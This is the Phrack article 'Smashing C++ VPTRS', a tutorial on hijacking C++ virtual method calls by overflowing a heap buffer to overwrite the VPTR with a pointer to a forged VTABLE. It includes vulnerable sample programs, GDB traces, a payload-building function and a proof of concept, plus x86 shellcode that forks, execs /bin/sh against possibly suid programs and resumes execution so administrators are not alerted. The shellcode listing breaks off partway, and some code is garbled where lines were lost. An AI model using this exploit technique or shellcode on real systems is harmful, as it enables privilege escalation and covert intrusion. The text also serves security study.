- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x08[0x10] |----------------------------- SMASHING C++ VPTRS ----------------------------| |-----------------------------------------------------------------------------| |-------------------------- rix --------------------------| ----| Introduction At the present time, a widely known set of techniques instructs us how to exploit buffer overflows in programs usually written in C. Although C is almost ubiquitously used, we are seeing many programs also be written in C++. For the most part, the techniques that are applicable in C are available in C++ also, however, C++ can offer us new possibilities in regards to buffer overflows, mostly due to the use of object oriented technologies. We are going to analyze one of these possibilities, using the C++ GNU compiler, on an x86 Linux system. ----| C++ Backgrounder We can define a "class" as being a structure that contains data and a set of functions (called "methods"). Then, we can create variables based on this class definition. Those variables are called "objects". For example, we can have the following program (bo1.cpp): #include #include class MyClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer, String); } void PrintBuffer() { printf("%s\n", Buffer); } }; void main() { MyClass Object; Object.SetBuffer("string"); Object.PrintBuffer(); } This small program defines a MyClass class that possesses 2 methods: 1) A SetBuffer() method, that fills an internal buffer to the class (Buffer). 2) A PrintBuffer() method, that displays the content of this buffer. Then, we define an Object object based on the MyClass class. Initially, we'll notice that the SetBuffer() method uses a *very dangerous* function to fill Buffer, strcpy()... As it happens, using object oriented programming in this simplistic example doesn't bring too many advantages. On the other hand, a mechanism very often used in object oriented programming is the inheritance mechanism. Let's consider the following program (bo2.cpp), using the inheritance mechanism to create 2 classes with distinct PrintBuffer() methods: #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; void main() { BaseClass *Object[2]; Object[0] = new MyClass1; Object[1] = new MyClass2; Object[0]->SetBuffer("string1"); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } This program creates 2 distinct classes (MyClass1, MyClass2) which are derivatives of a BaseClass class. These 2 classes differ at the display level (PrintBuffer() method). Each has its own PrintBuffer() method, but they both call the original PrintBuffer() method (from BaseClass). Next, we have the main() function define an array of pointers to two objects of class BaseClass. Each of these objects is created, as derived from MyClass1 or MyClass2. Then we call the SetBuffer() and PrintBuffer() methods of these two objects. Executing the program produces this output: rix@pentium:~/BO> bo2 MyClass1: string1 MyClass2: string2 rix@pentium:~/BO> We now notice the advantage of object oriented programming. We have the same calling primitives to PrintBuffer() for two different classes! This is the end result from virtual methods. Virtual methods permit us to redefine newer versions of methods of our base classes, or to define a method of the base classes (if the base class is purely abstracted) in a derivative class. If we don't declare the method as virtual, the compiler would do the call resolution at compile time ("static binding"). To resolve the call at run time (because this call depends on the class of objects that we have in our Object[] array), we must declare our PrintBuffer() method as "virtual". The compiler will then use a dynamic binding, and will calculate the address for the call at run time. ----| C++ VPTR We are now going to analyze in a more detailed manner this dynamic binding mechanism. Let's take the case of our BaseClass class and its derivative classes. The compiler first browses the declaration of BaseClass. Initially, it reserves 32 bytes for the definition of Buffer. Then, it reads the declaration of the SetBuffer() method (not virtual) and it directly assigns the corresponding address in the code. Finally, it reads the declaration of the PrintBuffer() method (virtual). In this case, instead of doing a static binding, it does a dynamic binding, and reserves 4 bytes in the class (those bytes will contain a pointer). We have now the following structure: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV Where: B represents a byte of Buffer. V represents a byte of our pointer. This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an array of function pointers. Those point themselves to methods (relative to the class). There is one VTABLE for a class, that contains only pointers to all class methods. We now have the following diagram: Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV =+== | +------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW =+== | +------------------------------+ | +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ Where: B represents a byte of Buffer. V represents a byte of the VPTR to VTABLE_MyClass1. W represents a byte of the VPTR to VTABLE_MyClass2. I represents various information bytes. P represents a byte of the pointer to the PrintBuffer() method of MyClass1. Q represents a byte of the pointer to the PrintBuffer() method of MyClass2. If we had a third object of MyClass1 class, for example, we would have: Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV with VVVV that would point to VTABLE_MyClass1. We notice that the VPTR is located after our Buffer in the process's memory. As we fill this buffer via the strcpy() function, we easily deduct that we can reach the VPTR by filling the buffer! NOTE: After some tests under Windows, it appears that Visual C++ 6.0 places the VPTR right at the beginning of the object, which prevents us from using this technique. On the other hand, C++ GNU places the VPTR at the end of the object (which is what we want). ----| VPTR analysis using GDB Now we will observe the mechanism more precisely, using a debugger. For this, we compile our program and run GDB: rix@pentium:~/BO > gcc -o bo2 bo2.cpp rix@pentium:~/BO > gdb bo2 GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) 0x80485d3 : pushl $0x24 0x80485d5 : call 0x80487f0 <___builtin_new> 0x80485da : addl $0x4,%esp 0x80485dd : movl %eax,%eax 0x80485df : pushl %eax 0x80485e0 : call 0x8048660 <__8MyClass2> 0x80485e5 : addl $0x4,%esp 0x80485e8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80485ea : movl %eax,0xfffffffc(%ebp) 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp 0x80485fe : pushl $0x804892e 0x8048603 : movl 0xfffffffc(%ebp),%eax 0x8048606 : pushl %eax 0x8048607 : call 0x80486c0 0x804860c : addl $0x8,%esp 0x804860f : movl 0xfffffff8(%ebp),%eax 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx 0x8048621 : movl 0x4(%ebx),%edi 0x8048624 : call *%edi 0x8048626 : addl $0x4,%esp 0x8048629 : movl 0xfffffffc(%ebp),%eax 0x804862c : movl 0x20(%eax),%esi 0x804862f : addl $0x8,%esi ---Type to continue, or q to quit--- 0x8048632 : movswl (%esi),%eax 0x8048635 : movl %eax,%edx 0x8048637 : addl 0xfffffffc(%ebp),%edx 0x804863a : pushl %edx 0x804863b : movl 0x4(%esi),%edi 0x804863e : call *%edi 0x8048640 : addl $0x4,%esp 0x8048643 : xorl %eax,%eax 0x8048645 : jmp 0x8048650 0x8048647 : movl %esi,%esi 0x8048649 : leal 0x0(%edi,1),%edi 0x8048650 : leal 0xffffffec(%ebp),%esp 0x8048653 : popl %ebx 0x8048654 : popl %esi 0x8048655 : popl %edi 0x8048656 : movl %ebp,%esp 0x8048658 : popl %ebp 0x8048659 : ret 0x804865a : leal 0x0(%esi),%esi End of assembler dump. Let's analyze, in a detailed manner, what our main() function does: 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx The program creates a stack frame, then it reserves 8 bytes on the stack (this is our local Object[] array), that will contain 2 pointers of 4 bytes each, respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for Object[1]. Next, it saves various registers. 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the heap for our Object[0] and sends us back the address of these bytes reserved in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes for our VPTR. 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp Here, we place the address of the object (contained in EAX) on the stack, then we call the __8MyClass1 function. This function is in fact the constructor of the MyClass1 class. It is necessary to also notice that in C++, all methods include an additional "secret" parameter. That is the address of the object that actually executes the method (the "This" pointer). Let's analyze instructions from this constructor: (gdb) disassemble __8MyClass1 Dump of assembler code for function __8MyClass1: 0x8048690 <__8MyClass1>: pushl %ebp 0x8048691 <__8MyClass1+1>: movl %esp,%ebp 0x8048693 <__8MyClass1+3>: pushl %ebx 0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx EBX now contains the pointer to the 36 reserved bytes ("This" pointer). 0x8048697 <__8MyClass1+7>: pushl %ebx 0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass> 0x804869d <__8MyClass1+13>: addl $0x4,%esp Here, we call the constructor of the BaseClass class. (gdb) disass __9BaseClass Dump of assembler code for function __9BaseClass: 0x8048700 <__9BaseClass>: pushl %ebp 0x8048701 <__9BaseClass+1>: movl %esp,%ebp 0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx EDX receives the pointer to the 36 reserved bytes ("This" pointer). 0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx) The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value. Then, the __9BaseClass function extends a little farther. If we launch: (gdb) x/aw 0x08048958 0x8048958 <_vt.9BaseClass>: 0x0 We observe that the value that is written in EDX+0x20 (the VPTR of the reserved object) receives the address of the VTABLE of the BaseClass class. Returning to the code of the MyClass1 constructor: 0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx) It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends a little farther. Let's launch: (gdb) x/aw 0x08048948 0x8048948 <_vt.8MyClass1>: 0x0 We observe that the VPTR is overwritten, and that it now receives the address of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a pointer to the object allocated in memory. 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) This pointer is placed in Object[0]. Then, the program uses the same mechanism for Object[1], evidently with different addresses. After all that initialization, the following instructions will run: 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax Here, we first place address 0x8048926 as well as the value of Object[0] on the stack ("This" pointer). Observing the 0x8048926 address: (gdb) x/s 0x08048926 0x8048926 <_fini+54>: "string1" We notice that this address contains "string1" that is going to be copied in Buffer via the SetBuffer() function of the BaseClass class. 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp We call the SetBuffer() method of the BaseClass class. It is interesting to observe that the call of the SetBuffer method is a static binding (because it is not a virtual method). The same principle is used for the SetBuffer() method relative to Object[1]. To verify that our 2 objects are correctly initialized at run time, we are going to install the following breakpoints: 0x80485c0: to get the address of the 1st object. 0x80485da: to get the address of the 2nd object. 0x804860f: to verify that initializations of objects took place well. (gdb) break *0x80485c0 Breakpoint 1 at 0x80485c0 (gdb) break *0x80485da Breakpoint 2 at 0x80485da (gdb) break *0x804860f Breakpoint 3 at 0x804860f Finally we run the program: Starting program: /home/rix/BO/bo2 Breakpoint 1, 0x80485c0 in main () While consulting EAX, we will have the address of our 1st object: (gdb) info reg eax eax: 0x8049a70 134519408 Then, we continue to the following breakpoint: (gdb) cont Continuing. Breakpoint 2, 0x80485da in main () We notice our second object address: (gdb) info reg eax eax: 0x8049a98 134519448 We can now run the constructors and the SetBuffer() methods: (gdb) cont Continuing. Breakpoint 3, 0x804860f in main () Let's notice that our 2 objects follow themselves in memory (0x8049a70 and 0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are 4 bytes that have apparently been inserted between the 1st and the 2nd object. If we want to see these bytes: (gdb) x/aw 0x8049a98-4 0x8049a94: 0x29 We observe that they contain the value 0x29. The 2nd object is also followed by 4 particular bytes: (gdb) x/xb 0x8049a98+32+4 0x8049abc: 0x49 We are now going to display in a more precise manner the internal structure of each of our objects (now initialized): (gdb) x/s 0x8049a70 0x8049a70: "string1" (gdb) x/a 0x8049a70+32 0x8049a90: 0x8048948 <_vt.8MyClass1> (gdb) x/s 0x8049a98 0x8049a98: "string2" (gdb) x/a 0x8049a98+32 0x8049ab8: 0x8048938 <_vt.8MyClass2> We can display the content of the VTABLEs of each of our classes: (gdb) x/a 0x8048948 0x8048948 <_vt.8MyClass1>: 0x0 (gdb) x/a 0x8048948+4 0x804894c <_vt.8MyClass1+4>: 0x0 (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 (gdb) x/a 0x8048948+12 0x8048954 <_vt.8MyClass1+12>: 0x8048770 (gdb) x/a 0x8048938 0x8048938 <_vt.8MyClass2>: 0x0 (gdb) x/a 0x8048938+4 0x804893c <_vt.8MyClass2+4>: 0x0 (gdb) x/a 0x8048938+8 0x8048940 <_vt.8MyClass2+8>: 0x0 (gdb) x/a 0x8048938+12 0x8048944 <_vt.8MyClass2+12>: 0x8048730 We see that the PrintBuffer() method is well the 4th method in the VTABLE of our classes. Next, we are going to analyze the mechanism for dynamic binding. It we will continue to run and display registers and memory used. We will execute the code of the function main() step by step, with instructions: (gdb) ni Now we are going to run the following instructions: 0x804860f : movl 0xfffffff8(%ebp),%eax This instruction is going to make EAX point to the 1st object. 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx These instructions are going to make EBX point on the 3rd address from the VTABLE of the MyClass1 class. 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx These instructions are going to load the word at offset +8 in the VTABLE to EDX. 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx These instructions add to EDX the offset of the 1st object, and place the resulting address (This pointer) on the stack. 0x8048621 : movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4) 0x8048624 : call *%edi // run the code at EDI This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that is the address of the PrintBuffer() method of the MyClass1 class. Then, this method is executed. The same mechanism is used to execute the PrintBuffer() method of the MyClass2 class. Finally, the function main() ends a little farther, using a RET. We have observed a "strange handling", to point to the beginning of the object in memory, since we went to look for an offset word in VPTR+8 to add it to the address of our 1st object. This manipulation doesn't serve has anything in this precise case, because the value pointed by VPTR+8 was 0: (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 However, this manipulation is necessary in several convenient cases. It is why it is important to notice it. We will come back besides later on this mechanism, because it will provoke some problems later. ----| Exploiting VPTR We are now going to try to exploit in a simple manner the buffer overflow. For it, we must proceed as this: - To construct our own VTABLE, whose addresses will point to the code that we want to run (a shellcode for example ;) - To overflow the content of the VPTR so that it points to our own VTABLE. One of the means to achieve it, is to code our VTABLE in the beginning of the buffer that we will overflow. Then, we must set a VPTR value to point back to the beginning of our buffer (our VTABLE). We can either place our shellcode directly after our VTABLE in our buffer, either place it after the value of the VPTR that we are going to overwrite. However, if we place our shellcode after the VPTR, it is necessary to be certain that we have access to this part of the memory, to not provoke segmentation faults. This consideration depends largely of the size of the buffer. A buffer of large size will be able to contain without problem a VTABLE and a shellcode, and then avoid all risks of segmentation faults. Let's remind ourselves that our objects are each time followed by a 4 bytes sequence (0x29, 0x49), and that we can without problems write our 00h (end of string) to the byte behind our VPTR. To check we are going to place our shellcode rightly before our VPTR. We are going to adopt the following structure in our buffer: +------(1)---<----------------+ | | | ==+= SSSS ..... SSSS .... B ... CVVVV0 ==+= =+== | | | | +----(2)--+->-------------+ Where: V represents bytes of the address of the beginning of our buffer. S represents bytes of the address of our shellcode, here the address of C (address S=address V+offset VPTR in the buffer-1 in this case, because we have placed our shellcode rightly before the VPTR). B represents the possible bytes of any value alignment (NOPs:), to align the value of our VPTR on the VPTR of the object. C represents the byte of the shellcode, in this case, a simple CCh byte (INT 3), that will provoke a SIGTRAP signal. 0 represents the 00h byte, that will be at the end of our buffer (for strcpy() function). The number of addresses to put in the beginning of our buffer (SSSS) depends if we know or not the index in the VTABLE of the 1st method that will be called after our overflow: Either we knows this index, and then we writes the corresponding pointer. Either we doesn't know this index, and we generate a maximum number of pointers. Then, we hope the method that will be executed will use one of those overwritten pointers. Notice that a class that contains 200 methods isn't very usual ;) The address to put in VVVV (our VPTR) depends principally of the execution of the program. It is necessary to note here that our objects were allocated on the heap, and that it is difficult to know exactly their addresses. We are going to write a small function that will construct us a buffer. This function will receive 3 parameters: - BufferAddress: the address of the beginning of the buffer that we will overflow. - NAddress: the number of addresses that we want in our VTABLE. Here is the code of our BufferOverflow() function: char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4); // allocates the buffer. CCOffset=(unsigned long)VPTROffset-1; // calculates the offset of the code to execute in the buffer. for (i=0;i #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4+1); CCOffset=(unsigned long)VPTROffset-1; for (i=0;iSetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } We compile, and we launch GDB: rix@pentium:~/BO > gcc -o bo3 bo3.cpp rix@pentium:~/BO > gdb bo3 ... (gdb) disass main Dump of assembler code for function main: 0x8048670
: pushl %ebp 0x8048671 : movl %esp,%ebp 0x8048673 : subl $0x8,%esp 0x8048676 : pushl %edi 0x8048677 : pushl %esi 0x8048678 : pushl %ebx 0x8048679 : pushl $0x24 0x804867b : call 0x80488c0 <___builtin_new> 0x8048680 : addl $0x4,%esp 0x8048683 : movl %eax,%eax 0x8048685 : pushl %eax 0x8048686 : call 0x8048760 <__8MyClass1> 0x804868b : addl $0x4,%esp 0x804868e : movl %eax,%eax 0x8048690 : movl %eax,0xfffffff8(%ebp) 0x8048693 : pushl $0x24 0x8048695 : call 0x80488c0 <___builtin_new> 0x804869a : addl $0x4,%esp 0x804869d : movl %eax,%eax 0x804869f : pushl %eax 0x80486a0 : call 0x8048730 <__8MyClass2> 0x80486a5 : addl $0x4,%esp 0x80486a8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80486aa : movl %eax,0xfffffffc(%ebp) 0x80486ad : pushl $0x20 0x80486af : pushl $0x4 0x80486b1 : movl 0xfffffff8(%ebp),%eax 0x80486b4 : pushl %eax 0x80486b5 : call 0x80485b0 0x80486ba : addl $0xc,%esp 0x80486bd : movl %eax,%eax 0x80486bf : pushl %eax 0x80486c0 : movl 0xfffffff8(%ebp),%eax 0x80486c3 : pushl %eax 0x80486c4 : call 0x8048790 0x80486c9 : addl $0x8,%esp 0x80486cc : pushl $0x80489f6 0x80486d1 : movl 0xfffffffc(%ebp),%eax 0x80486d4 : pushl %eax 0x80486d5 : call 0x8048790 0x80486da : addl $0x8,%esp 0x80486dd : movl 0xfffffff8(%ebp),%eax 0x80486e0 : movl 0x20(%eax),%ebx 0x80486e3 : addl $0x8,%ebx 0x80486e6 : movswl (%ebx),%eax 0x80486e9 : movl %eax,%edx 0x80486eb : addl 0xfffffff8(%ebp),%edx ---Type to continue, or q to quit--- 0x80486ee : pushl %edx 0x80486ef : movl 0x4(%ebx),%edi 0x80486f2 : call *%edi 0x80486f4 : addl $0x4,%esp 0x80486f7 : movl 0xfffffffc(%ebp),%eax 0x80486fa : movl 0x20(%eax),%esi 0x80486fd : addl $0x8,%esi 0x8048700 : movswl (%esi),%eax 0x8048703 : movl %eax,%edx 0x8048705 : addl 0xfffffffc(%ebp),%edx 0x8048708 : pushl %edx 0x8048709 : movl 0x4(%esi),%edi 0x804870c : call *%edi 0x804870e : addl $0x4,%esp 0x8048711 : xorl %eax,%eax 0x8048713 : jmp 0x8048720 0x8048715 : leal 0x0(%esi,1),%esi 0x8048719 : leal 0x0(%edi,1),%edi 0x8048720 : leal 0xffffffec(%ebp),%esp 0x8048723 : popl %ebx 0x8048724 : popl %esi 0x8048725 : popl %edi 0x8048726 : movl %ebp,%esp 0x8048728 : popl %ebp ---Type to continue, or q to quit--- 0x8048729 : ret 0x804872a : leal 0x0(%esi),%esi End of assembler dump. Next, we install a breakpoint in 0x8048690, to get the address of our 1st object. (gdb) break *0x8048690 Breakpoint 1 at 0x8048690 And finally, we launch our program: (gdb) run Starting program: /home/rix/BO/bo3 Breakpoint 1, 0x8048690 in main () We read the address of our 1st object: (gdb) info reg eax eax: 0x8049b38 134519608 Then we pursue, while hoping that all happens as foreseen... :) Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x8049b58 in ?? () We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58 address. However, the address of our object was 0x8049b38. 0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our buffer. Therefore, it is well our CCh that has been executed!!! You understood it, we can now replace our simple CCh code, by a small shellcode, to get some more interesting results, especially if our program bo3 is suid... ;) Some variations about the method ================================ We have explain here the simplest exploitable mechanism. Other more complex cases could possibly appear... For example, we could have associations between classes like this: class MyClass3 { private: char Buffer3[32]; MyClass1 *PtrObjectClass; public: virtual void Function1() { ... PtrObjectClass1->PrintBuffer(); ... } }; In this case, we have a relation between 2 classes called "link by reference". Our MyClass3 class contains a pointer to another class. If we overflow the buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We only need to browse a supplementary pointer ;) +----------------------------------------------------+ | | +-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR | =+== MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX ==+= | +---------------------<---------------------------+ | +--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY ==+= | +-------------------------------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ Where: B represents bytes of the Buffer of MyClass4. C represents bytes of the Buffer of MyClass1. P represents bytes of a pointer to a MyClass1 object class. X represents bytes of the possible VPTR of the MyClass4 object class. (it is not necessary to have a VPTR in the class containing the pointer). Y represent bytes of the VPTR of the MyClass1 object class. This technique doesn't depend here on the structure of the internal class to the compiler (offset of VPTR), but depend of the structure of the class defined by the programmer, and dus it can even be exploited in programs coming from compilers placing the VPTR at the beginning of the object in memory (for example Visual C++). Besides, in this case, the MyClass3 object class possibly have been created on the stack (local object), what makes that localization is a lot easier, being given that the address of the object will probably be fixed. However, in this case, it will be necessary that our stack be executable, and not our heap as previously. We know how to find the values for 2 of the 3 parameters of our BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR) Indeed these 2 parameters can be easily founded in debugging the code of the program, and besides, their value is fixed from on execution to another. On the other hand, the 1st parameter (address of the object in memory), is more difficult to establish. In fact, we need this address only because we want to place the VTABLE that we created into the buffer. ----| A particular example Let's suppose that we have a class whose last variable is an exploitable buffer. This means that if we fill this buffer (for example of size N bytes), with N + 4 bytes, we know that we don't have modify anything else in the space memory of the process that the content of our buffer, the VPTR, and the byte following our VPTR (because character 00h). Perhaps could we take advantage of this situation. But how? We are going to use the buffer, to launch a shellcode, and next to follow the execution of the program! The advantage will be enormous, since the program would not be finished brutally, and dus will not alert someone eventually controlling or logging its execution (administrators...). Is it possible? It would be necessary to first execute our shellcode, to rewrite a chain in our buffer, and to restore the stack in the initial state (just before the call of our method). Then, it would only remain us to recall the initial method, so that the program normally continues. Here are several remarks and problems that we are going to meet: - it is necessary to completely rewrite our buffer (so that the continuation of the execution uses appropriate values), and therefore to overwrite our own shellcode. To avoid it, we are going to copy a part of our shellcode (the smallest part as possible ) to another place in memory. In this case we are going to copy a part of our shellcode to the stack (we will call this part of code "stackcode"). It should not pose any particularly problems if our stack is executable. - We had mentioned before a "strange handling", that consisted to add an offset to the address of our object, and to place this result on the stack, what provided the This pointer to the executed method. The problem is, that here, the offset that is going to be added to the address of our object is going to be took in our VTABLE, and that this offset cannot be 0 (because we cannot have 00h bytes in our buffer). We are going to choose an arbitrary value for this offset, that we will place in our VTABLE, and correct the This value on the stack later, with a corresponding subtraction. - we are going to make a fork () on our process, to launch the execution of the shell (exec ()), and to wait for its termination (wait ()), to continue our execution of the main program. - the address where we will continue our execution is constant, because it is the address of the original method (presents in the VTABLE of our object's relative class). - we know that we can use our EAX register, because this one would be overwritten in any case by our method's return value. - we cannot include any 00h byte in our buffer. We then should regenerate these bytes (necessary for our strings) at run time. While applying all these important points, we are going to try to construct a buffer according to the following diagram: +------------------------------------<-(1)---------------------------------+ | our VTABLE | =+=================== ==+= 9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL ==+= ==+= | | | ======== | | | | | \ | +-->--+ | | \(a copy on the stack) | | | ======== +---(2)-->--------+ | BBB... B | | | +-(3)->+ +--> old method Where: 9 represent NOP bytes (90h). T represents bytes forming the word of the offset who will be added to the pointer on the stack (strange handling ;). M represents the address in our buffer of the beginning of our shellcode. S represents the address in our buffer of the "/bin/sh" string. 0 represented 90h bytes, who will be initialized to 00h at run time (necessary for exec ()). /bin/sh represents the "/bin/sh" string, without any 00h termination byte. A represents a byte of our shellcode (principally to run the shell, then to copy the stackcode on the stack and to run it). B represents a byte of our stackcode (principally to reset our buffer with a new string, and to run the original method to continue the execution of the original program. newstring represents the "newstring" string, that will be recopied in the buffer after execution of the shell, to continue the execution. V represents a byte of the VPTR, that must point back to the beginning of our buffer (to our VTABLE). L represents the byte that will be copy after the VPTR, and that will be a 0hh byte. In a more detailed manner, here are the content of our shellcode and stackcode: pushl %ebp //save existing EBP movl %esp,%ebp //stack frame creation xorl %eax,%eax //EAX=0 movb $0x31,%al //EAX=$StackCodeSize (size of the code // who will be copied to the stack) subl %eax,%esp //creation of a local variable to // contain our stackcode pushl %edi pushl %esi pushl %edx pushl %ecx pushl %ebx //save registers pushf //save flags cld //direction flag=incrementation xorl %eax,%eax //EAX=0 movw $0x101,%ax //EAX=$AddThis (value added for // calculating This on the stack) subl %eax,0x8(%ebp) //we substract this value from the // current This value on the stack, to // restore the original This. xorl %eax,%eax //EAX=0 movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset // (address of NULL dword in our // buffer) stosl %eax,%es:(%edi) //we write this NULL in the buffer movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset // (address of 00h from "/bin/sh") stosb %al,%es:(%edi) //we write this 00h at the end of // "/bin/sh" movb $0x2,%al int $0x80 //fork() xorl %edx,%edx //EDX=0 cmpl %edx,%eax jne 0x804a8c1 //if EAX=0 then jump to LFATHER // (EAX=0 if father process) movb $0xb,%al //else we are the child process movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset // (address of "/bin/sh") movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset // (adresse of address of "/bin/sh") xorl %edx,%edx //EDX=0h (NULL) int $0x80 //exec() "/bin/sh" LFATHER: movl %edx,%esi //ESI=0 movl %edx,%ecx //ECX=0 movl %edx,%ebx //EBX=0 notl %ebx //EBX=0xFFFFFFFF movl %edx,%eax //EAX=0 movb $0x72,%al //EAX=0x72 int $0x80 //wait() (wait an exit from the shell) xorl %ecx,%ecx //ECX=0 movb $0x31,%cl //ECX=$StackCodeSize movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset // (address of beginning of the // stackcode) movl %ebp,%edi //EDI point to the end of or local // variable subl %ecx,%edi //EDI point to the beginning of or // local variable movl %edi,%edx //EDX also point to the beginning of // or local variable repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local // variable on the stack jmp *%edx //run our stackcode on the stack stackcode: movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset // (point to the new string we want to // rewrite in the buffer) movl $0x804a860,%edi //EDI=$BufferAddress (point to the // beginning of our buffer) xorl %ecx,%ecx //ECX=0 movb $0x9,%cl //ECX=$NewBufferSize (length of the // new string) repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the // beginning of our buffer xorb %al,%al //AL=0 stosb %al,%es:(%edi) //put a 00h at the end of the string movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset // (address of VPTR) movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the // original VTABLE from our class) movl %eax,%ebx //EBX=$VTABLEAddress stosl %eax,%es:(%edi) //correct the VPTR to point to the // original VTABLE movb $0x29,%al //AL=$LastByte (byte following the // VPTR in memory) stosb %al,%es:(%edi) //we correct this byte movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4 // (EAX take the address of the // original method in the original // VTABLE). popf popl %ebx popl %ecx popl %edx popl %esi popl %edi //restore flags and registers movl %ebp,%esp popl %ebp //destroy the stack frame 